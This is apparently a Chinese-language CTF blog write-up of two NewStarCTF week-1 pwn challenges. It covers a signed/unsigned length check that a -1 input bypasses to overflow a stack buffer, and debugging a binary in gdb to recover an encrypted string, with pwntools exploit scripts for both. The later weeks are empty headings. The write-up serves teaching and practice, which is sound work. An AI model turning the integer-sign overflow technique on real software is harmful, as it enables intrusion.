NewStarCTF-pwn

神犬侠义發表於2024-11-13

NewStarCTF-pwn


目錄
  • NewStarCTF-pwn
    • week1
      • overwrite
        • read() 引數
      • gdb
    • week2
    • week3
    • week4

week1

overwrite

首先檢視檔案,保護全開,為64位

放入IDA檢視程式碼,發現關鍵函式func()

第9-12行程式碼,首先列印提示資訊“pls input the length you want to readin: ”,然後使用__isoc99_scanf函式接收使用者輸入的一個整數並存入變數nbytes中。接著檢查nbytes的值,如果nbytes大於 48,則程式呼叫exit(0)退出。

第13、14行,列印提示資訊“pls input want you want to say: ”,然後使用read函式從標準輸入(檔案描述符為 0)讀取資料,將讀取的資料儲存到地址為&nbytes_4的記憶體區域,讀取的位元組數為nbytes轉換為無符號整數後的大小(本題需要小於48)。

我們先來學習一下read()函式,它用於從檔案描述符(通常是套接字、檔案等)讀取資料,讀取開啟檔案內容

#include <unistd.h>
ssize_t read(int fd, void *buf, size_t count);
  • read() 引數

    • fd

      • 是檔案描述符,可以是套接字、檔案等讀取的檔案(標準輸入為 0)
    • buf

      • 是一個指向要讀取資料的緩衝區的指標,將讀取的內容儲存的緩衝區
    • count

      • 是要讀取的位元組數,檔案的長度
    • 返回值:

      • 如果成功,返回讀取的位元組數(可能為 0,表示已經讀到檔案末尾)。
      • 如果出錯,返回 -1,並設定 errno 表示錯誤原因。

第15行

if ( atoi(nptr) <= 114514 )
  {
    puts("bad ,your wallet is empty");
  }
  else
  {
    puts("oh you have the money to get flag");
    getflag();
  }

如果 nptr 中的字串被轉換為數字且大於 114514,程式會列印 flag,否則會輸出錢包空的資訊。其中:

函式atoi ()

int atoi(const char *str);

atoi (表示 ascii to integer)是把字串轉換成整型數的一個函式,會掃描引數 nptr字串,會跳過前面的空白字元(例如空格,tab縮排)等。如果 nptr不能轉換成 int 或者 nptr為空字串,那麼將返回 0。特別注意,該函式要求被轉換的字串是按十進位制數理解的。atoi輸入的字串對應數字存在大小限制(與int型別大小有關),若其過大可能報錯-1。

const char* str1 = "1234";
const char* str2 = "56abc";
const char* str3 = "abc123";
    
int num1 = atoi(str1);  // 轉換為整數 1234
int num2 = atoi(str2);  // 轉換為整數 56,遇到非數字字元後停止
int num3 = atoi(str3);  // 轉換為整數 0,開頭沒有數字

具體函式檢視atoi()參考文件

回到本題,進行漏洞分析:

  1. nptrnbytes_4 之間的偏移是 0x30。如果輸入大於 0x30 的正整數,程式將會透過 exit() 退出。
  2. 觀察到,read() 函式中使用的是 unsigned int nbytes,但在輸入校驗時 nbytesint 型別,進行了有符號比較。這裡產生了漏洞。
read(0, &nbytes_4, (unsigned int)nbytes);

例如,-1 的 16 進製表示是 0xffffffff,對於有符號整數來說,這是一個負數;但在無符號整數中,它代表一個非常大的正整數。因此,利用這一點,輸入一個負數值,可以繞過前面的大小檢查,將後續輸入的資料覆蓋到 nptr,從而完成利用。

exp:

from pwn import *
#context.terminal = ['tmux','splitw','-h']
p = process('./pwn')
#p = remote('ip', port)
p.sendlineafter(b': ', b'-1')
payload = b'a'*0x30 + b'114515'
p.sendafter(b': ', payload)
p.interactive()

觀察指令碼執行順序,其順序為先傳送整數-1,使scanf函式接收的整數nbytes的值滿足小於48的條件,保持程式的執行,同時利用下面程式碼使用無符號整型轉換的nbytes值比較大小,而無符號的-1又為最大值(0xffffffff)的漏洞,達到想要的效果(後面(unsigned int)nbytes可以給&nbytes_4分配nbytes個位元組空間),如果輸入一個正整數,那空間必然要小於48,就無法溢位資料到nptr[72]了。

  • 問題1:為什麼指令碼構造的是0x30個字元a?

答:分析變數的地址及偏移,0x80-0x50=0x30,所以輸入0x30(48)個字元後nbytes_4就滿了,再輸入就會溢位到nptr[]了

 size_t nbytes_4; // [rsp+10h] [rbp-80h] BYREF
  char nptr[72]; // [rsp+40h] [rbp-50h] BYREF
  • 問題2:還多了114515這個數是幹嘛的

答:眾所周知

\[114515 > 114514 \\ 回去檢視程式判斷條件,使程式執行 getflag() \]

注意,這裡用的是位元組型資料(b'114515'而不是整型p64(114515)),見上文atoi(nptr)函式,其接收引數nptr為字串,之後會轉為整型

  • 問題3:為何使用此指令碼攻擊不會觸發金絲雀棧保護

答:輸入僅影響了緩衝區和部分其他變數,而未觸及金絲雀,雖然程式碼中使用__readfsqword(0x28u)讀取了金絲雀值並儲存在v4中,但攻擊者構造的payloadb'a'*0x30 + b'114515')在填充緩衝區並溢位時,尚未覆蓋到金絲雀所在的位置,當棧空間被耗盡時,才會棧溢位‌。此題的溢位全部在棧內完成,故不會觸發金絲雀棧保護。注意區分緩衝區溢位和棧溢位兩者之間的區別

gdb

首先進行檢視,保護全開,64位

放入IDA檢視主函式,發發現程式碼會不一樣,既然叫gdb,那肯定就不能只單純靜態除錯了

可以看到程式邏輯是對一串字串執行了加密操作,然後需要我們輸入加密後的內容

對於加密函式,可以發現完全看不懂(不是🥰),甚至不知道哪個是加密函式(確信😢)

所以我們選擇動調檢視加密後的內容

鍵入 gdb ./gdb 並執行,先執行程式(命令run),再用 b *$rebase() 下斷點(斷在call 加密函式處)本題call函式在0x181a處,不同環境下可能不同

其中:b *$rebase()用於設定一個斷點

  • bbreak 的簡寫,設定斷點
  • *: 表示解引用操作。用於訪問指標指向的記憶體地址的值
  • $rebase() 是一個 GDB 內建函式,用於將給定的虛擬地址轉換為實際的記憶體地址

綜合起來,b *$rebase(0x181a) 的意思是:使用 $rebase(0x181a) 計算出重定位後的地址;然後,在該地址處設定一個斷點。

如果用gdb開啟直接用b *$rebase(0x181a)會報錯

pwndbg> b *$rebase(0x181a)
evaluation of this expression requires the target program to be active
//表示:要對 `$rebase(0x181a)` 這樣的表示式設定斷點,需要目標程式處於活動(正在執行)的狀態。

所以先執行。這裡執行程式時遇到一個問題,就是run以後會直接執行到讓你輸入的那個位置,如果你輸入什麼了,他就會退出,用ctrl+c退出其函式即可。之後下斷點,再run到斷點處,這都是dbg的基礎操作練習啊。

可以看到,已經執行到call加密函式的位置了

執行到加密函式處,可以發現,rdi 暫存器存的是要加密的內容,rsi 存的是加密的 key

先複製下要加密內容的地址

  • 0x7fffffffd9a7 (不同環境可能不同,此地址為加密內容"0d000721"所指向的地址)

然後使用 ni 指令步進

注:ninnext)的區別在於,ni是按機器指令來執行的。也就是說,ni會執行下一條機器指令,而不是下一行原始碼。由於一條原始碼行可能對應多條機器指令,所以ni的執行粒度更細。

此時字串已經完成了加密,我們使用 tel 0x7fffffffd9a7 指令檢視字串(其本身和後繼地址)的內容

pwndbg> tel 0x7fffffffd9a7
00:0000│-439 0x7fffffffd9a7 ◂— 0x4557455355431d5d
01:0008│-431 0x7fffffffd9af ◂— 0x6572636573796d00
02:0010│-429 0x7fffffffd9b7 ◂— 'tkey1234567890abcdefghijk'
03:0018│-421 0x7fffffffd9bf ◂— '567890abcdefghijk'
04:0020│-419 0x7fffffffd9c7 ◂— 'cdefghijk'
05:0028│-411 0x7fffffffd9cf ◂— 0x6b /* 'k' */
06:0030│-409 0x7fffffffd9d7 ◂— 0x7ffff7ffe2e000
07:0038│-401 0x7fffffffd9df ◂— 0x7ffff7ffe2e000

其地址內容為一串十六進位制數字,不知道是什麼,用x指令精準檢視指定地址內容

pwndbg> x 0x7fffffffd9a7
0x7fffffffd9a7: "]\035CUSEWE"

文章說b'\x5d\x1d\x43\x55\x53\x45\x57\x45' 便是加密後的內容,經過分析,“]\035CUSEWE”就是加密內容

b'\x5d\x1d\x43\x55\x53\x45\x57\x45' == b']\035CUSEWE'
True

只是要以文章的形式還需要多一步構造過程(本題並未直接顯示)所以姑且就直接使用本題所得結果編寫指令碼

exp

from pwn import *
p = process('./gdb')
elf = ELF('./gdb')
data = b']\035CUSEWE'
p.sendline(data)
p.interactive()

結果

┌──(root㉿kali)-[~/Desktop/New StarCTF/gdb]
└─# python3 act.py
[+] Starting local process './gdb': pid 513654
[*] '/root/Desktop/New StarCTF/gdb/gdb'
...
[*] Switching to interactive mode
[*] Process './gdb' stopped with exit code 0 (pid 513654)
Original: 0d000721
Input your encrypted data: Congratulations!\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\...

week2


week3


week4